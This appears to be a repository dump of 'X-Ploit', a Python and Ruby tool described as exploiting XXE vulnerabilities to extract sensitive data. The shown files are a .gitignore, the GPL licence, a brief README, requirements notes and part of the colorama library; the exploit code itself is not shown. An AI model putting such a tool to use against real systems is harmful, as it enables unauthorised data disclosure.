├── .gitignore ├── LICENSE ├── README.md ├── Requirements.txt ├── colorama ├── __init__.py ├── ansi.py ├── ansitowin32.py ├── initialise.py ├── win32.py └── winterm.py ├── main.rb └── xploit.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # X-Ploit 2 | An automated Python + Ruby based XXE Exploiter (GUI + CLI) 3 | This tool is designed for pentestor and bug hinters to exploit xxe vulnerability. 4 | Usage :- 5 | ./xploit.py 6 | -------------------------------------------------------------------------------- /Requirements.txt: -------------------------------------------------------------------------------- 1 | X-Ploiter is an automated Python+Ruby based tool, this tool is designed to exploit one of the awesome vulnerability in web application which could lead to disclosure of sensitive information disclosure i.e. XXE (XML External Entity ) vulnerability. 2 | Just type the LHOST, RHOST, RPORT and what do you wanna get and how, simply in Yes/No ? And then BOOM!! 3 | 4 | Author: Rajesh Majumdar (@freakym0nk) 5 | 6 | Windows: 7 | Ruby 8 | Python 9 | 10 | Usage: 11 | ./xploiter.py -------------------------------------------------------------------------------- /colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.7' 7 | 8 | -------------------------------------------------------------------------------- /colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 